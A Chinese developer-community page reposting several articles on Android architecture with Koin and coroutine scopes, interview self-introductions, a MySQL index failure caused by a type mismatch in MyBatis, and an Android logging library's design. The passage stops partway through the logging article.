注册
环信即时通讯云

环信即时通讯云

单聊、群聊、聊天室...
环信开发文档

环信开发文档

Demo体验

Demo体验

场景Demo,开箱即用
RTE开发者社区

RTE开发者社区

汇聚音视频领域技术干货,分享行业资讯
技术讨论区

技术讨论区

技术交流、答疑
资源下载

资源下载

收集了海量宝藏开发资源
iOS Library

iOS Library

不需要辛辛苦苦的去找轮子, 这里都有
Android Library

Android Library

不需要辛辛苦苦的去找轮子, 这里都有

现代化 Android 开发:基础架构

Android 开发经过 10 多年的发展,技术在不断更迭,软件复杂度也在不断提升。到目前为止,虽然核心需求越来越少,但是对开发速度的要求越来越高。高可用、流畅的 UI、完善的监控体系等都是现在的必备要求了。国内卷的方向又还包括了跨平台、动态化、模块化。 目前...
继续阅读 »

Android 开发经过 10 多年的发展,技术在不断更迭,软件复杂度也在不断提升。到目前为止,虽然核心需求越来越少,但是对开发速度的要求越来越高。高可用、流畅的 UI、完善的监控体系等都是现在的必备要求了。国内卷的方向又还包括了跨平台、动态化、模块化。


目前的整体感觉就是,移动开发基本是奄奄一息了。不过也不用过于悲观:一是依旧有很多存量的 App 堪称屎山,是需要有维护人员的,就跟现在很多人去卷 framework 层一样,千万行代码中找 bug。 二是 AI 日益成熟,那么应用层的创新也会出现,在没有更简洁的设备出现前,手机还是主要载体,总归是需要移动开发去接入的,如果硬件层越来越好,模型直接跑在手机上也不是不可能,所以对跨平台技术也会是新一层的考验,有可能直接去跨平台化了。毕竟去中台化也成了历史的选择。


因而,在这个存量市场,虽然竞争压力很大,但是如果技术过硬,还是能寻求一席之地的。因而我决定用几篇文章来介绍下,当前我认为的现代化 Android 开发是怎样的。其目录为:



  • 现代化 Android 开发:基础架构(本文)

  • 现代化 Android 开发:数据类

  • 现代化 Android 开发:逻辑层

  • 现代化 Android 开发:组件化与模块化的抉择

  • 现代化 Android 开发:多 Activity 多 Page 的 UI 架构

  • 现代化 Android 开发:Jetpack Compose 最佳实践

  • 现代化 Android 开发:性能监控


Scope


提到 Android 基础架构,大家可能首先想到的是 MVCMVPMVVMMVI 等分层架构。但针对现代化的 Android 开发,我们首要有的是 scope 的概念。其可以分两个方面:



  • 结构化并发之 CoroutineScope:目前协程基本已经是最推荐的并发工具了,CoroutineScope 的就是对并发任务的管理,例如 viewModelScope 启动的任务的生命周期就小于 viewModel 的存活周期。

  • 依赖注入之 KoinScope:虽然官方推荐的是 hilt,但其实它并没有 koin 好用与简洁,所以我还是推荐 koinKoinScope 是对实例对象的管理,如果 scope 结束, 那么 scope 管理的所有实例都被销毁。


一般应用总会有登录,所以大体的 scope 管理流程图是这样的:


scope



  • 我们启动 app, 创建 AppScope,对于 koin 而言就是用于存放单例,对于协程来说就是全局任务

  • 当我们登录后,创建 AuthSessionScope, 对于 koin 而言,就是存放用户相关的单例,对于协程而言就是用户执行相关的任务。当退出登录时,销毁当前的 AuthSessionScope,那么其对应的对象实例、任务全部都会被销毁。用户再次登录,就再次重新创建 AuthSessionScope。目前很多 App 对于用户域内的实例,基本上还是用单例来实现,退出登录时,没得办法,就只能杀死整个进程再重启, 所以会有黑屏现象,实现不算优雅。而用 scope 管理后,就是一件很自然而实现的事情了。所以尽量用依赖注入,而不要用单例模式

  • 当我们进入界面后,一般都是从逻辑层获取数据进行渲染,所以依赖注入没多大用了。而协程的 lifecycleScopeviewModelScope 就比较有用,管理界面相关的异步任务。


所以我们在做架构、做某些业务时,首要考虑 scope 的问题。我们可以把 CoroutineScope 也作为实例存放到 KoinScope 里,也可以把 KoinScope 作为 Context 存放到 CorutineScope 里。


岐黄小筑是将 CoroutineScope 放到 koin 里去以便依赖查找


val sessionCoroutineScope = CoroutineScope(Dispatchers.IO + SupervisorJob() + coroutineLogExceptionHandler(TAG))
val sessionKoinScope = GlobalContext.get().createScope(...)
sessionKoinScope.declare(sessionCoroutineScope)


其实我们也完全可以用 CoroutineScopeContext 来做实例管理,而移除 koin 的使用。但是 Context 的使用并没有那么便捷,或许以后它可以进化为完全取代 koin



架构分层


随着软件复杂度的提升,MVCMVPMVVMMVI 等先后被提出,但我觉得目前所有的开发,都大体遵循某一模式而又不完全遵循,很容易因为业务的节奏,很容易打破,变成怎么方便怎么来。所以使用简单的分层 + 足够优秀的组件化,才是保证开发模式不被打破的最佳实践。下图是岐黄小筑的整体架构图:



整体架构不算复杂,其实重点是在于组件库,emo 已经有 20 个子库了,然后岐黄小筑有一些对于通用逻辑的抽象与封装,使得逻辑层虽然都集中在 logic 层,但整体都是写模板式的代码,可以面向 copy-paste 编程。


BookLogic 为例:



// 通过依赖注入传参, 拿到 db 层、网络层、以及用户态信息的应用
class BookLogic(
val authSession: AuthSession,
val kv: EmoKV,
val db: AccountDataBase,
private val bookApi: BookApi
) {
// 并发请求复用管理
private val concurrencyShare = ConcurrencyShare(successResultKeepTime = 10 * 1000L)

// 加载书籍信息,使用封装好的通用请求组件
fun logicBookInfo(bookId: Int, mode: Int = 0) = logic(
scope = authSession.coroutineScope, // 使用用户 session 协程 scope,因为有请求复用,所以退出界面,再进入,会复用之前的网络请求
mode = mode,
dbAction = { // 从 db 读取本地数据
db.bookDao().bookInfo(bookId)
},
syncAction = { // 从网络同步数据
concurrencyShare.joinPreviousOrRun("syncBookInfo-$bookId") {
bookApi.bookInfo(bookId).syncThen { _, data ->
db.runInTransaction {
db.userDao().insert(data.author)
db.bookDao().insert(data.info)
}
SyncRet.Full
}
}
}
)
// 类似的模板代码
suspend fun logicBookClassicContent(bookId: Int, mode: Int = 0) = logic(...)
suspend fun logicBookExpoundContent(bookId: Int, mode: Int = 0) = logic(...)
...
}

//将其注册到 `module` 中去,目前好像也可以通过注解的方式来做,不过我还没采用那种方式:
scopedOf(::BookLogic)

ViewModel 层浮层从 Logic 层读取数据,并可以进行特殊化处理:


class BookInfoViewModel(navBackStackEntry: NavBackStackEntry) : ViewModel() {
val bookId = navBackStackEntry.arguments?.getInt(SchemeConst.ARG_BOOK_ID) ?: throw RuntimeException("book_id is required!.")

val bookInfoFlow = MutableStateFlow(logicResultLoading<BookInfoPojo>())

init {
viewModelScope.launch {
runInBookLogic {
logicBookInfo(bookId, mode).collectLatest {
bookInfoFlow.emit(it)
}
}
}
}
}

Compose 界面再使用 ViewModel


@ComposeScheme(
action = SchemeConst.ACTION_BOOK_INFO,
alternativeHosts = [BookActivity::class]
)

@SchemeIntArg(name = SchemeConst.ARG_BOOK_ID)
@Composable
fun BookInfoPage(navBackStackEntry: NavBackStackEntry) {
LogicPage(navBackStackEntry = navBackStackEntry) {
val infoVm = schemeActivityViewModel<BookInfoViewModel>(navBackStackEntry)
val detailVm = schemeViewModel<BookDetailViewModel>(navBackStackEntry)
val bookInfo by infoVm.bookInfoFlow.collectAsStateWithLifecycle()
//...
}
}

这样整个数据流从网络加载、到存储到数据库、到传递给 UI 进行渲染的整个流程就结束了。


对于其中更多的细节,例如逻辑层具体是怎么封装的?UI 层具体是怎么使用多 ActivityPage?可以期待下之后的文章。


作者:古哥E下
来源:juejin.cn/post/7240636320762593338
收起阅读 »

程序员面试的时候,如何做自我介绍?

很多同学认为,程序员面试中的自我介绍环节是最没有营养的了,其目的也就是再找个话题开头儿,暖暖场而已。 我只能说,有的时候确实是这样,但有的时候真不是。 我作为面试官所经历过的一些面试场次,也经常在听过候选人的自我介绍后,会有些先入为主地给出对于他的第一印象,而...
继续阅读 »

很多同学认为,程序员面试中的自我介绍环节是最没有营养的了,其目的也就是再找个话题开头儿,暖暖场而已。


我只能说,有的时候确实是这样,但有的时候真不是。


我作为面试官所经历过的一些面试场次,也经常在听过候选人的自我介绍后,会有些先入为主地给出对于他的第一印象,而这种第一印象会直接左右该候选人是否能通过这场面试。


下面,我就从面试官的角度,说下自我介绍这个话题。


面试官很忙


是的,面试官很忙,给你进行面试的时间,往往是从他的日常工作中挤出来的。给你面试一个小时,他就少了一个小时的写代码时间,或是少了一个小时做架构设计的时间,再或是少了一个小时进行需求评审的时间。


因此,绝大多数面试官根本不喜欢面试这项工作,甚至略带抵触!!!


那么,在面试官忙得略带抵触的情况下,候选人的哪些行为会踩中他的雷区呢?


(1)回忆录型


我面试过一个07年毕业的候选人,从简历上看,学历履历俱佳,而其10年+的工作经验,恰恰是这个年轻的团队最为稀缺的资源。


我特别看好这个候选人,但是。。。


面试期间,他在做自我介绍的时候,从他刚毕业时,最早期的用JBuilder IDE,SSH(Spring + Struts +Hibernate)的项目开始介绍起,事无巨细,毫无死角地介绍了12个项目,时间已经过去了15分钟,时间轴也只不过从07年到了13年,如果按照这个节奏,让他走完这个流程,至少需要40分钟。。。


当时,我听得那叫一个烦躁,对他之前的好感全无,只好忍无可忍地打断他,说:“您还是从技术角度,介绍一个做得比较好的,最近的项目吧。”


(2)征婚型


另一个候选人,最初的自我介绍还算有模有样,简单地介绍学校中的专业、学习成绩、获奖情况,然后是工作经历,以及工作中的项目经验,有些项目涉及到高并发,有些项目涉及到对系统可用性要求很高,整体下来差不多一分钟出头的样子。


但忽然间,他开始话锋一转,开始介绍起他的性格来,就是那种都已经说烂了的“积极主动”、“乐观皮实”、“勤而好学”、“善于沟通”,而且,对于每个描述他性格的成员,他都举了一个工作中不大不小的例子。


这块说完后,大概过去了7分钟。我本以为可以继续面试的下一个环节,没想到,他又开始自顾自地介绍起自己的兴趣爱好来。


什么实况足球游戏、钓鱼、徒步、骑行,尤其让我记忆深刻的就是——写朦胧诗。。。


这尼玛,瞬间给我整得不会了。。。


面试官很懒


面试官很懒,绝大多数面试官在面试候选人之前,都不会抽出十分钟时间,提前看下候选人的简历。哪怕他们当天工作不忙,有这个时间,他们也宁愿用来摸鱼。


(1)自嗨型


但往往有些候选人不了解这个情况,他们往往草草地介绍完学历情况和工作履历后,在不怎么跟面试官介绍项目背景的情况下,便开始滔滔不绝地介绍其项目中的技术方案来。


往往有些项目还是带一些业务壁垒的,比如:财务领域、物流领域、支付领域、区块链领域、金融保险领域等。


候选人认为,要么面试官见多识广,要么面试官面试前特地了解了,所以,他们应该懂的。


于是乎,就形成了候选人口若悬河、滔滔不绝地讲述他项目中巧妙的技术设计,自嗨得飞起,但面试官呆若木鸡、满脸懵逼地不知道候选人的这个项目是做什么的。


在这一刹那,尴尬的结局已经注定。


(2)沟通障碍型


技术出身的人,在语言表述上不是强项,且大都性偏格内向。他们往往在进行自我介绍的时候,会由于紧张导致口吃或语无伦次。


如果轻微的这种情况还好,但如果给面试官造成了一种“跟他说话真费事,是不是沟通障碍啊”的印象,那出师未捷先GG的可能性就会接近100%了。


还是那句话,面试官很懒,懒得这样的未来同事沟通,所以最好的方式就是把他扼杀在摇篮里。


(3)惜字如金型


有一种候选人,自我介绍十秒钟解决战斗,“我是谁,我哪个学校毕业的,我目前在哪家公司”,完了。


然后面试官为了了解更多候选人的情况,不得不持续发问。


面试官:“你在这家公司负责什么?”


候选人:“负责后端的业务需求开发。”


面试官:“可以说下有哪些技术亮点吗?”


候选人:“这个一下子说不出来,要不您看看对哪个模块的技术实现感兴趣,我专门讲这一块的吧。”


最后形成的局面是,如果面试官需要了解候选人的详细信息,需要不断地发问,发问,再发问。


然后,面试官很懒,懒得问了。


面试官很毒


有的候选人认为,甭管我在以前的公司是什么表现,什么口碑,到了别的公司的面试官那,那就是自己说了算了。于是乎,他开始滔滔不绝、口若悬河、夸夸其谈、信口拈来。


(1)孔雀开屏型


这种候选人,在自我介绍过程中,稍微介绍到项目环节,便开始带着批判的语气,不断地说以前的架构怎么不合理,维护的代码怎么差,技术栈怎么老旧,同事的解决问题能力怎么不堪,领导怎么不作为,如果不是他及时出现,力挽狂澜地解决了问题,那么后果将是一场灾难。但是,有些鸟是不适合关在笼子里的,因为它的羽毛太美丽了,所以他才出来面试看机会。


其实,更多情况下,面试官所面试的候选人,在入职后要么是他的下级,要么是他的同事,不管是哪种,他们更加倾向的人物画像往往是技术基本功扎实,有些潜力,态度良好的团队型候选人,要是还有几许好奇心,几多上进心,若干自驱力,那就更好了。


其实,更多情况下,面试官的眼睛很毒,他们肯定不希望招来这么一个孤芳自赏的孔雀开屏型选手,日后在工作配合上惹上麻烦,面试官更不想在这种候选人的下次面试中,成为他口中的前同事或前领导。


(2)鸡血口号型


这种类型候选人,在自我介绍过程中,不断地提到自己在上家公司,在上上家公司,工作不怕苦不怕累,不怕加班不求回报,感动天感动地,感动老天和上帝。


他们自认为这样说,一定会让面试官很爽很愉悦,感情分拉满。


但往往经验丰富的面试官很清楚,这种类型的候选人,要么是言行不一,面试的时候说得是山崩海啸,到了真干的时候就是小孩撒尿;要么是用低水平的勤奋来掩盖自己资质上的愚钝或是能力上的不足。


总而言之,言而总之,他们觉得这样的人,肯定在哪方面有问题。


正确的自我介绍姿势


说完了这些,那我们再说说,理想中的自我介绍大概是什么样子呢?


记住八个字:简洁凝练,不卑不亢


另外,大家在进行自我介绍的时候,可以参照这个公式:


我是谁 + 学习经历 + 工作经历 + 项目经历 + 成绩成就 + 胜任理由 = 自我介绍


给大家一个例子:


面试官你好,我叫王鹏,北邮本硕,21年毕业,专业是计算机科学与技术。


毕业后任职于阿里巴巴,担任Java开发工程师一职,主要负责天猫电商订单中心的项目研发,对系统稳定性建设、性能优化、线上问题处理、电商架构设计等方面,都有着自己深刻的理解。


在职期间,我连续两年拿到3.75的年度绩效,并晋升一次,目前职级为P6。


面试咱们公司抖音电商的高级工程师一职,一个原因是看好公司的发展前景和企业文化,另外是我在电商领域的技术经验可以快速复用和持续提升。(隐晦地表达,自己非常适合,且完全胜任)


谢谢。


上述个人介绍,言简意赅地说清楚了个人情况,明确了自身优势和亮点,恰到好处地阐述了求职动机和求职意愿,并隐晦地表达了自己的适合度和胜任度, 我觉得是个比较好的自我介绍。


**如何练习:

**

(1)把自我介绍写下来,做到言简意赅,控制在一分钟左右。


(2)不断练习,大声朗读,记得要有情感和抑扬顿挫,不要当简历复读机,更不要像反复背过的。


(3)拿手机录下来,反复看自己的自我介绍,直到完美。


一定要注意的点:别啰里啰嗦,别扯没用的,别惜字如金,别自嗨成瘾,别结结巴巴,别把牛逼吹到天上,别卑微到尘埃里。


作者:库森学长
来源:juejin.cn/post/7274839871277432886
收起阅读 »

很容易中招的一种索引失效场景,一定要小心

快过年,我的线上发布出现故障 “五哥,你在上线吗?”,旁边有一个声音传来。 “啊,怎么了?”。真是要命,在上线发布时候,我最讨厌别人叫我的名字 。我慌忙站起来,看向身后,原来是 建哥在问我。我慌忙的问,怎么回事。 “DBA 刚才在群里说,Task数据库 cpu...
继续阅读 »

快过年,我的线上发布出现故障


“五哥,你在上线吗?”,旁边有一个声音传来。


“啊,怎么了?”。真是要命,在上线发布时候,我最讨厌别人叫我的名字 。我慌忙站起来,看向身后,原来是 建哥在问我。我慌忙的问,怎么回事。


“DBA 刚才在群里说,Task数据库 cpu 负载增加!有大量慢查询”,建哥来我身边,跟我说。


慢慢的,我身边聚集着越来越多的人


image.png


“你在上线Task服务吗?改动什么内容了,看看要不要立即回滚?”旁边传来声音。此时,我的心开始怦怦乱跳,手心发痒,紧张不已。


我检查着线上机器的日志,试图证明报警的原因不是出在我这里。


我对着电脑,微微颤抖地回答大家:“我只是升级了基础架构的Jar包,其他内容没有改动啊。”此时我已分不清是谁在跟我说话,只能对着电脑作答……


这时DBA在群里发送了一条SQL,他说这条SQL导致了大量的慢查询。


我突然记起来了,我转过头问林哥:“林哥,你上线了什么内容?”这次林哥有代码的变更,跟我一起上线。我觉得可能是他那边有问题。


果然,林哥看着代码发呆。他嘟囔道:“我添加了索引啊,怎么会有慢查询呢?”原来慢查询的SQL是林哥刚刚添加的,这一刻我心里的石头放下了,问题并不在我,我轻松了许多。


“那我先回滚吧”,幸好我们刚发布了一半,现在回滚还来得及,我尝试回滚机器。此刻我的紧张情绪稍稍平静下来,手也不再发抖。


既然不是我的问题,我可以以吃瓜的心态,暗中观察事态的发展。我心想:真是吓死我了,幸好不是我的错。


然而我也有一些小抱怨:为什么非要和我一起搭车上线,出了事故,还得把我拖进来。


故障发生前的半小时


2年前除夕前的一周,我正准备着过年前的最后一次线上发布,这时候我刚入职两个月,自然而然会被分配一些简单的小活。这次上线的内容是将基础架构的Jar包升级到新版本。一般情况下,这种配套升级工作不会出问题,只需要按部就班上线就行。


“五哥,你是要上线 Task服务吗?”,工位旁的林哥问我,当时我正做着上线前的准备工作。


“对啊,马上要发布,怎么了?”,我转身回复他。


“我这有一个代码变更,跟你搭车一起上线吧,改动内容不太多。已经测试验证过了”,林哥说着,把代码变更内容发给我,简单和我说了下代码变更的内容。我看着改动内容确实不太多,新增了一个SQL查询,于是便答应下来。我重新打包,准备发布上线。


半小时以后,便出现了文章开头的情景。新增加的SQL 导致大量慢查询,数据库险些被打挂。


为什么加了索引,还会出现慢查询呢?


”加了索引,为什么还有慢查询?“,这是大家共同的疑问。


事后分析故障的原因,通过 mysql explain 命令,查看该SQL 确实没有命中索引,从而导致慢查询。


这个SQL 大概长这个样子!我去掉了业务相关的部分。


select * from order_discount_detail where orderId = 1123;


order_discount_detailorderId 这一列上确实加了索引,不应该出现慢查询,乍一看,没有什么问题。我本能的想到了索引失效的几种场景。难道是类型不匹配,导致索引失效?


果不其然, orderId 在数据库中的类型 是 varchar 类型,而传参是按照 long 类型传的。


复习一下: 类型转换导致索引失效


类型转换导致索引失效,是很容易犯的错误


因为在某些特殊场景下要对接外部订单,存在订单Id为字符串的情况,所以 orderId被设计成 varchar 字符串类型。然而出问题的场景比较明确,订单id 就是long类型,不可能是字符串类型。


所以林哥,他在使用Mybatis 时,直接使用 long 类型的 orderId字段传参,并且没有意识到两者数据类型不对。


因为测试环境数据量比较小,即使没有命中索引,也不会有很严重的慢查询,并且测试环境请求量比较低,该慢查询SQL 执行次数较少,所以对数据库压力不大,测试阶段一直没有发现性能问题。


直到代码发布到线上环境————数据量和访问量都非常高的环境,差点把数据库打挂。


mybatis 能避免 “类型转换导致索引失效” 的问题吗?


mybatis能自动识别数据库和Java类型不一致的情况吗?如果发现java类型和数据库类型不一致,自动把java 类型转换为数据库类型,就能避免索引失效的情况!


答案是不能。我没找到 mybatis 有这个能力。


mybatis 使用 #{} 占位符,会自动根据 参数的 Java 类型填充到 SQL中,同时可以避免SQL注入问题。


例如刚才的SQL 在 mybatis中这样写。


select * from order_discount_detail where orderId = #{orderId};


orderId 是 String 类型,SQL就变为


select * from order_discount_detail where orderId = ‘1123’;


mybatis 完全根据 传参的java类型,构建SQL,所以不要认为 mybatis帮你处理好java和数据库的类型差异问题,你需要自己关注这个问题!


再次提醒,"类型转换导致索引失效"的问题,非常容易踩坑。并且很难在测试环境发现性能问题,等到线上再发现问题就晚了,大家一定要小心!小心!


险些背锅


可能有朋友疑问,为什么发布一半时出现慢查询,单机发布阶段不能发现这个问题吗?


之所以没发现这个问题,是因为 新增SQL在 Kafka消费逻辑中,由于单机发布机器启动时没有争抢到 kafka 分片,所以没有走到新代码逻辑。


此外也没有遵循降级上线的代码规范,如果上线默认是降级状态,上线过程中就不会有问题。放量阶段可以通过降级开关快速止损,避免回滚机器过程缓慢而导致的长时间故障。


不是我的问题,为什么我也背了锅


因为我在发布阶段没有遵循规范,按照规定的流程应该在单机发布完成后进行引流压测。引流压测是指修改机器的Rpc权重,将Rpc请求集中到新发布的单机上,这样就能提前发现线上问题。


然而由于我偷懒,跳过了单机引流压测。由于发布的第一台机器没有抢占到Kafka分片,因此无法执行新代码逻辑。即使进行了单机引流压测,也无法提前发现故障。虽然如此,但我确实没有遵循发布规范,错在我。


如果上线时没有出现故障,这种不规范的上线流程可能不会受到责备。但如果出现问题,那只能怪我倒霉。在复盘过程中,我的领导抓住了这件事,给予了重点批评。作为刚入职的新人,被指责确实让我感到不舒服。


快要过年了,就因为搭车上线,自己也要承担别人犯错的后果,让我很难受。但是自己确实也有错,当时我的心情复杂而沉重。


两年前的事了,说出来让大家吃个瓜,乐呵一下。如果这瓜还行,东东发财的小手点个赞


作者:五阳神功
来源:juejin.cn/post/7305572311812636683
收起阅读 »

Android - 你可能需要这样一个日志库

前言 目前大多数库api设计都是Log.d("tag", "msg")这种风格,而且支持自定义日志存储的比较少, 所以作者想自己造一个轮子。 这种api风格有什么不好呢? 首先,它的tag是一个字符串,需要开发人员严格管理tag,要不然可能各种硬编码的tag满...
继续阅读 »

前言


目前大多数库api设计都是Log.d("tag", "msg")这种风格,而且支持自定义日志存储的比较少,
所以作者想自己造一个轮子。


这种api风格有什么不好呢?


首先,它的tag是一个字符串,需要开发人员严格管理tag,要不然可能各种硬编码的tag满天飞。


另外,它也可能导致性能陷阱,假设有这么一段代码:


// 打印一个List
Log.d("tag", list.joinToString())

此处使用Debug打印日志,生产模式下调高日志等级,不打印这一行日志,但是list.joinToString()这一行代码仍然会被执行,有可能导致性能问题。


下文会分析作者期望的api是什么样的,本文演示代码都是用kotlin,库中好用的api也是基于kotlin特性来实现的。


作者写库有个习惯,对外开放的类或者全局方法都会加一个前缀f,一个是为了避免命名冲突,另一个是为了方便代码检索,以下文章中会出现,这里做一下解释。


期望


什么样的api才能解决上面的问题呢?我们看一下方法的签名和打印方式


inline fun <reified T : FLogger> flogD(block: () -> Any)

interface AppLogger : FLogger

flogD {
list.joinToString { it }
}

flogD方法打印Debug日志,传一个Flogger的子类AppLogger作为日志标识,同时传一个block来返回要打印的日志内容。


日志标识是一个类或者接口,所以管理方式比较简单不会造成tag混乱的问题,默认tag是日志标识类的短类名。生产模式下调高日志等级后,block就不会被执行了,避免了可能的性能问题。


实现分析


日志库的完整实现已经写好了,放在这里xlog



  • 支持限制日志大小,例如限制每天只能写入10MB的日志

  • 支持自定义日志格式

  • 支持自定义日志存储,即如何持久化日志


这一节主要分析一下实现过程中遇到的问题。


问题:如果App运行期间日志文件被意外删除了,怎么处理?


在Android中,用java.io的api对一个文件进行写入,如果文件被删除,继续写入的话不会抛异常,导致日志丢失,该如何解决?


有同学说,在写入之前先检查文件是否存在,如果存在就继续写入,不存在就创建后写入。


检查一个文件是否存在通常是调用java.io.File.exist()方法,但是它比较耗性能,我们来做一个测试:


measureTime {
repeat(1_0000) {
file.exists()
}
}.let {
Log.i("MainActivity", "time:${it.inWholeMilliseconds}")
}

14:50:33.536 MainActivity            com.sd.demo.xlog                I  time:39
14:50:35.872 MainActivity com.sd.demo.xlog I time:54
14:50:38.200 MainActivity com.sd.demo.xlog I time:43
14:50:40.028 MainActivity com.sd.demo.xlog I time:53
14:50:41.693 MainActivity com.sd.demo.xlog I time:58

可以看到1万次调用的耗时在50毫秒左右。


我们再测试一下对文件写入的耗时:


val output = filesDir.resolve("log.txt").outputStream().buffered()
val log = "1".repeat(50).toByteArray()
measureTime {
repeat(1_0000) {
output.write(log)
output.flush()
}
}.let {
Log.i("MainActivity", "time:${it.inWholeMilliseconds}")
}

14:57:56.092 MainActivity            com.sd.demo.xlog                I  time:38
14:57:56.558 MainActivity com.sd.demo.xlog I time:57
14:57:57.129 MainActivity com.sd.demo.xlog I time:57
14:57:57.559 MainActivity com.sd.demo.xlog I time:46
14:57:58.054 MainActivity com.sd.demo.xlog I time:54

可以看到1万次调用,每次写入50个字符的耗时也在50毫秒左右。如果每次写入日志前都判断一下文件是否存在,那么实际上相当于2次写入的性能成本,这显然很不划算。


还有同学说,开一个线程,定时判断文件是否存在,这样子虽然不会损耗单次写入的性能,但是又多占用了一个线程资源,显然也不符合作者的需求。


其实Android已经给我们提供了这种场景的解决方案,那就是android.os.MessageQueue.IdleHandler,关于IdleHandler这里就不展开讨论了,简单来说就是当你注册一个IdleHandler后,它会在主线程空闲的时候被执行。


我们可以在每次写入日志之后注册IdleHandler,等IdleHandler被执行的时候检查一下日志文件是否存在,如果不存在就关闭输出流,这样子在下一次写入的时候就会重新创建文件写入了。


这里要注意每次写入日志之后注册IdleHandler,并不是每次都创建新对象,要判断一下如果原先的对象还未执行的话就不用注册一个新的IdleHandler,库中大概的代码如下:


private class LogFileChecker(private val block: () -> Unit) {
private var _idleHandler: IdleHandler? = null

fun register(): Boolean {
// 如果当前线程没有Looper则不注册,上层逻辑可以直接检查文件是否存在,因为是非主线程
Looper.myLooper() ?: return false

// 如果已经注册过了,直接返回
_idleHandler?.let { return true }

val idleHandler = IdleHandler {
// 执行block检查任务
libTryRun { block() }

// 重置变量,等待下次注册
_idleHandler = null
false
}

// 保存并注册idleHandler
_idleHandler = idleHandler
Looper.myQueue().addIdleHandler(idleHandler)
return true
}
}

这样子文件被意外删除之后,就可以重新创建写入了,避免丢失大量的日志。


问题:如何检测文件大小是否溢出


库支持对每天的日志大小做限制,例如限制每天最多只能写入10MB,每次写入日志之后都会检查日志大小是否超过限制,通常我们会调用java.io.File.length()方法获取文件的大小,但是它也比较耗性能,我们来做一个测试:


val file = filesDir.resolve("log.txt").apply {
this.writeText("hello")
}
measureTime {
repeat(1_0000) {
file.length()
}
}.let {
Log.i("MainActivity", "time:${it.inWholeMilliseconds}")
}

16:56:04.090 MainActivity            com.sd.demo.xlog                I  time:61
16:56:05.329 MainActivity com.sd.demo.xlog I time:80
16:56:06.382 MainActivity com.sd.demo.xlog I time:72
16:56:07.496 MainActivity com.sd.demo.xlog I time:79
16:56:08.591 MainActivity com.sd.demo.xlog I time:78

可以看到耗时在60毫秒左右,相当于上面测试中1次文件写入的耗时。


库中支持自定义日志存储,在日志存储接口中定义了size()方法,上层通过此方法来判断当前日志的大小。


如果开发者自定义了日志存储,避免在此方法中每次调用java.io.File.length()来返回日志大小,应该维护一个表示日志大小的变量,变量初始化的时候获取一下java.io.File.length(),后续通过写入的数量来增加这个变量的值,并在size()方法中返回。库中默认的日志存储实现类就是这样实现的,有兴趣的可以看这里


问题:文件大小溢出后怎么处理?


假设限制每天最多只能写入10MB,那超过10MB后如何处理?有同学说直接删掉或者清空文件,重新写入,这也是一种策略,但是会丢失之前的所有日志。


例如白天写了9.9MB,到晚上的时候写满10MB,清空之后,白天的日志都没了,这时候用户反馈白天遇到的一个bug,需要上传日志,那就芭比Q了。


有没有办法少丢失一些呢?可以把日志分多个文件存储,为了便于理解假设分为2个文件存储,一天10MB,那1个文件最多只能写入5MB。具体步骤如下:



  1. 写入文件20231128.log

  2. 20231128.log写满5MB的时候关闭输出流,并把它重命名为20231128.log.1


这时候继续写日志的话,发现20231128.log文件不存在就会创建,又跳到了步骤1,就这样一直重复1和2两个步骤,到晚上写满10MB的时候,至少还有5MB的日志内容保存在20231128.log.1文件中避免丢失全部的日志。


分的文件数量越多,保留的日志就越多,实际上就是拿出一部分空间当作中转区,满了就向后递增数字重命名备份。目前库中只分为2个文件存储,暂时不开放自定义文件数量。


问题:打印日志的性能


性能,是这个库最关心的问题,通常来说文件写入操作是性能开销的大头,目前是用java.io相关的api来实现的,怎样提高写入性能作者也一直在探索,在demo中提供了一个基于内存映射的日志存储方案,但是稳定性未经测试,后续测试通过后可能会转正。有兴趣的读者可以看看这里


还有一个比较影响性能的就是日志的格式化,通常要把一个时间戳转为某个日期格式,大部分人都会用java.text.SimpleDateFormat来格式化,用它来格式化年:月:日的时候问题不大,但是如果要格式化时:分:秒.毫秒那它就比较耗性能,我们来做一个测试:


val format = SimpleDateFormat("HH:mm:ss.SSS")
val millis = System.currentTimeMillis()
measureTime {
repeat(1_0000) {
format.format(millis)
}
}.let {
Log.i("MainActivity", "time:${it.inWholeMilliseconds}")
}

16:05:26.920 MainActivity            com.sd.demo.xlog                I  time:245
16:05:27.586 MainActivity com.sd.demo.xlog I time:227
16:05:28.324 MainActivity com.sd.demo.xlog I time:212
16:05:29.370 MainActivity com.sd.demo.xlog I time:217
16:05:30.157 MainActivity com.sd.demo.xlog I time:193

可以看到1万次格式化耗时大概在200毫秒左右。


我们再用java.util.Calendar测试一下:


val calendar = Calendar.getInstance()
// 时间戳1
val millis1 = System.currentTimeMillis()
// 时间戳2
val millis2 = millis1 + 1000
// 切换时间戳标志
var flag = true
measureTime {
repeat(1_0000) {
calendar.timeInMillis = if (flag) millis1 else millis2
calendar.run {
"${get(Calendar.HOUR_OF_DAY)}:${get(Calendar.MINUTE)}:${get(Calendar.SECOND)}.${get(Calendar.MILLISECOND)}"
}
flag = !flag
}
}.let {
Log.i("MainActivity", "time:${it.inWholeMilliseconds}")
}

16:11:25.342 MainActivity            com.sd.demo.xlog                I  time:35
16:11:26.209 MainActivity com.sd.demo.xlog I time:35
16:11:27.316 MainActivity com.sd.demo.xlog I time:37
16:11:28.057 MainActivity com.sd.demo.xlog I time:25
16:11:28.825 MainActivity com.sd.demo.xlog I time:18


这里解释一下为什么要用两个时间戳,因为Calendar内部有缓存,如果用同一个时间戳测试的话,没办法评估它真正的性能,所以这里每次格式化之后就切换到另一个时间戳,避免缓存影响测试。


可以看到1万次的格式化耗时在30毫秒左右,差距很大。如果要自定义日志格式的话,建议用Calendar来格式化时间,有更好的方案欢迎和作者交流。


问题:日志的格式如何显示


手机的存储资源是宝贵的,如何定义日志格式也是一个比较重要的细节。



  • 优化时间显示


目前库内部是以天为单位来命名日志文件的,例如:20231128.log,所以在格式化时间戳的时候只保留了时:分:秒.毫秒,避免冗余显示当天的日期。



  • 优化日志等级显示


打印的时候提供了4个日志等级:Verbose, Debug, Info, Warning, Error,一般最常用的记录等级是Info,所以在格式化的时候如果等级是Info则不显示等级标志,规则如下:


private fun FLogLevel.displayName(): String {
return when (this) {
FLogLevel.Verbose -> "V"
FLogLevel.Debug -> "D"
FLogLevel.Warning -> "W"
FLogLevel.Error -> "E"
else -> ""
}
}


  • 优化日志标识显示


如果连续2条或多条日志都是同一个日志标识,那么就只有第1条日志会显示日志tag



  • 优化线程ID显示


如果是主线程的话,不显示线程ID,只有非主线程才显示线程ID


经过上面的优化之后,日志打印的格式是这样的:


flogI { "1" }
flogI { "2" }
flogW { "3" }
flogI { "user debug" }
thread {
flogI { "thread" }
}

